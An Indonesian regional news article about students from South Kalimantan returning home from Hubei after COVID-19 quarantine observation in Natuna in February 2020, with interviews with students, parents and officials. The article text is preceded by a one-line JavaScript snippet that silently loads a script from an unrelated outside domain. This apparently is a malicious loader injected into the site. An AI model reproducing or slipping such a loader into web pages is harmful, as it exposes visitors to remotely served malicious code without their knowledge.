(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 285 WNI dari China, termasuk 7 mahasiswa asal Kalsel pulang ke kampung halaman masing-masing setelah dua pekan mengikuti mas observasi karantina di Natuna, Kepulauan Riau.
Tujuh mahasiswa asal Kalsel itu 6 diantaranya berasal dari Kabupaten Tabalong dan 1 dari kota Banjarmasin dinyatakan dalam keadaan sehat tiba di Bandara Internasional Syamsudiin pada Minggu (16/2/2020).
Salah satu mahasiswa asal Kabupaten Tabalong, Kalsel, yang studi di Hubei University of Science and Technologi China, bernama Septria Niken Pratiwi setelah masa observasi di Natuna akan melanjutkan perkuliahan secara daring (online).
Gadis yang biasa disapa Niken ini mengambil program studi Clinical Medicine berkeinginan tetap melanjutkan perkuliahan setelah wabah virus Corona melanda China.
“Perkuliahan tetap bisa dilanjutkan walau secara daring dan besok sudah mulai masuk,†kata Niken, Ahad.
Niken tercatat sebagai mahasiswa semester 8 bersama lima rekannya yang mengikuti program beasiswa Indonesia Tionghoa Culture Centre (ITCC).
Alumni SMA Negeri 1 Upau ini akan kembali ke China jika situasi di negeri Tirai Bambu sudah bebas dari Covid-19 (Corona Virus Disease 2019) dan kondusif.
Saat ini Niken sudah tiba di rumahnya di Desa Pangelak, Kecamatan Upau, Kabupaten Tabalong.
Selama menuntut ilmu di Negeri China, Niken mendapat bantuan dana dari Pemerintah Kabupaten Tabalong.
Selain Niken, tiga rekannya Risda Astuti, Felisia Martha dan Diki Purnama Abdi didampingi oleh tim Pemkab Tabalong dan difasilitasi menuju tempat tinggalnya.
WNI asal Kalsel yang ikut serta dalam rombongan adalah Diki Purnama, mahasiswa semester sembilan di Hubei University of Science and Technology di Kota Xianning. Menurut Dhiki, seperti beberapa temannya yang lain, dirinya mengikuti perkuliahan secara online. “Kami masih menunggu informasi dari Pemerintah China dan kampus tentang kondisi di sana. Kalau sudah kondusif, kami akan kembali melanjutkan kuliah,â€Â ujar Diki.
Tekad para mahasiswa untuk kembali melanjutkan pendidikan, didukung Wagub Rudy Resnawan yang mendampingi kepulangan mereka.
“Kita tunggu keputusan pemerintah. Baik Pemerintah RI maupun Pemerintah China. Kalau kondisi sudah memungkinkan, kita dukung mereka untuk melanjutkan pendidikan. Pemerintah Provinsi Kalsel pasti akan membantu,†kata Rudy Resnawan.
Selain di Hubei University of Science and Technology di Xianning, para mahasiswa dari Kalsel ini, juga berkuliah di Hubei Polytechnic University di Kota Haungshi, Provinsi Hubei, China. Beberapa dari mereka, mengambil jurusan kedokteran.
Do’a Ibu
Kedatangan sang putri, Nadia Ramadanissa Saubari di Bandara Internasional Syamsudin Noor Banjarmasin membuat pasangan suami istri H Ahmad Fikri Saubari dan Hj Nur Taibah senang bukan kepalang setelah anaknya kembali dari Tiongkok.
Nur Taibah sebagaimana para orangtua mahasiswa lainnya sangat khawatir ketika sang anak terisolasi akibat penyebaran Covid-19 (Corona Virus Disease 2019).
“Setiap saat saya hanya bisa berdoa untuk keselamatan anak. Alhamdulillah doa dikabulkan Allah SWT dan kini bisa bertemu memeluknya,†ucap Nur Taibah.
Dikatakannya, sang putri hanya cemas kehabisan stok makanan karena semua toko tutup dan warga pun dilarang keluar rumah.
“Alhamdulillah mereka di asrama saling bantu. Jadi ada teman yang cukup banyak stok makanannya dibagi-bagi ke mahasiswa lainnya,†tutur Nur Taibah menceritakan kisah yang dialami anaknya selama di Cina.
Beruntungnya, kata dia, komunikasi bisa terus dilakukan melalui sambutan handphone. Sehingga dirinya bisa mengetahui kondisi anaknya dari waktu ke waktu.
Begitu juga ketika telah berada Hanggar Lanud Raden Sadjad, Natuna, Kepulauan Riau, menjalani masa observasi selama 14 hari, anaknya selalu memberikan kabar.
“Jadi Nadia pengen cepat-cepat pulang dan syukur Alhamdulillah anak saya sehat. Kami sangat bersyukur,†kata wanita yang bekerja di Rumah Sakit Umum Daerah (RSUD) Ulin Banjarmasin itu.
Jika dalam kondisi normal, sulung dari tiga bersaudara itu biasanya pulang satu tahun sekali pada pertengahan tahun di bulan Juli.
Sementara Nadia menyampaikan terima kasih kepada pemerintah Indonesia dan juga KBRI Beijing atas kepulangan mereka ke tanah air.
Nadia dan tujuh mahasiswa lainnya asal Kalimantan Selatan tercatat menjadi bagian dari 238 WNI yang menjalani observasi di Natuna selama 14 hari, setelah dijemput dari Cina.
Gadis berhijab itu kuliah di Hubei University of Science and Technology di Kota Xianning Provinsi Hubei Tenggara, Tiongkok. Terletak di selatan Wuhan, lokasi mewabahnya virus corona yang mematikan.
“Jarak dari Kota Wuhan Ibukota Hubei sekitar 60 kilometer. Jadi saat itu kami sangat khawatir dan kondisinya seperti kota mati. Namun syukur Alhamdulillah di asrama mahasiswa tempat saya tinggal tidak ada yang terjangkit Covid-19,†kata Nadia mahasiswi semester delapan Program Sarjana Kedokteran Umum di Hubei University of Science and Technology.
Nadia merupakan alumni SMAN 1 Tanjung, Kabupaten Tabalong, Kalimantan Selatan.
Setelah lulus sekolah pada tahun 2016, dia bersama lima orang lainnya mendapatkan beasiswa dari Pemda setempat untuk studi pendidikan tinggi di Cina.
Cinta Lokasi
Saat mengikuti observasi di Natuna, meski tampak sangat kompak saat berada di hanggar, sejatinya kebanyakan dari mereka baru saling berkenalan.
Ratusan pelajar yang berkumpul di dalam hanggar itu berasal dari perguruan tinggi yang berbeda-beda. Di Indonesia pun, mereka berasal dari daerah yang berlainan.
Jadi, memang banyak yang baru saling mengenal di Hanggar Raden Sadjad.
Kalau saja tidak dibumbui kengerian virus corona yang oleh WHO kemudian disebut COVID-19, hanggar itu sudah menyerupai acara kemah pelajar antarsekolah. Saling berkenalan, ada waktunya berkumpul, makan, beraktivitas bersama-sama.
Tidak heran juga bila ada yang saling jatuh hati, selama masa karantina.
“Kalau yang cinta lokasi, banyak…,†kata Virni, warga Jakarta yang ikut diobservasi.
Virni sendiri sudah seperti “ibunya anak-anak†di hanggar itu. Dia lebih dewasa, karena memang sudah menikah. Di China pun, ia menemani suami yang sedang menempuh pendidikan.
Sebagai “ibunya anak-anak”, Virni menjadi tempat curahan hati para WNI dari Wuhan itu, termasuk mereka yang sedang jatuh cinta.
“Namanya juga remaja, bagaimana sih. Kalau makan berdua, ngapa-ngapain berdua,” katanya sambil tertawa, diiyakan beberapa mahasiswa di hanggar itu.
Menurut Virni, terdapat beberapa pasangan yang baru saling dekat di hanggar. Sayangnya, ia enggan menunjuk mahasiswa yang sedang jatuh cinta itu.
Tentunya, pasangan yang sedang dimabuk asmara itu, tidak sepenuhnya bahagia pada akhir masa observasi. Karena, ada yang berasal dari daerah berbeda di Indonesia, hingga harus berpisah.
“Bingung itu,†katanya. (kanalkalimantan.com/rico/suara.com)
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
This website uses cookies.